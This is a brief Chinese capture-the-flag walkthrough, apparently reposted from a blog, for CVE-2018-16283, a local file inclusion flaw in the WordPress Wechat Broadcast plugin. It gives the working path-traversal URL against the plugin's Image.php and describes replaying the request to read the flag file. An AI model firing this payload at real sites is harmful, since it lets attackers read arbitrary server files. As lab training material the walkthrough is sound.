cve-2018-16283

2025/4/16 13:14:27 来源：https://blog.csdn.net/m0_74125616/article/details/147236321 浏览: 次关键词：cve-2018-16283

WordPress Plugin Wechat Broadcast LFI

1、开启靶场

2、进入网页

3、在url输入

/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../flag

同时抓包获取

4、将数据发送到重放器，点击发送，成功获取到flag

本网仅为发布的内容提供存储空间，不对发表、转载的内容提供任何形式的保证。凡本网注明“来源：XXX网络”的作品，均转载自其它媒体，著作权归作者所有，商业转载请联系作者获得授权，非商业转载请注明出处。

我们尊重并感谢每一位作者，均已注明文章来源和作者。如因作品内容、版权或其它问题，请及时与我们联系，联系邮箱：809451989@qq.com，投稿邮箱：809451989@qq.com

相关资讯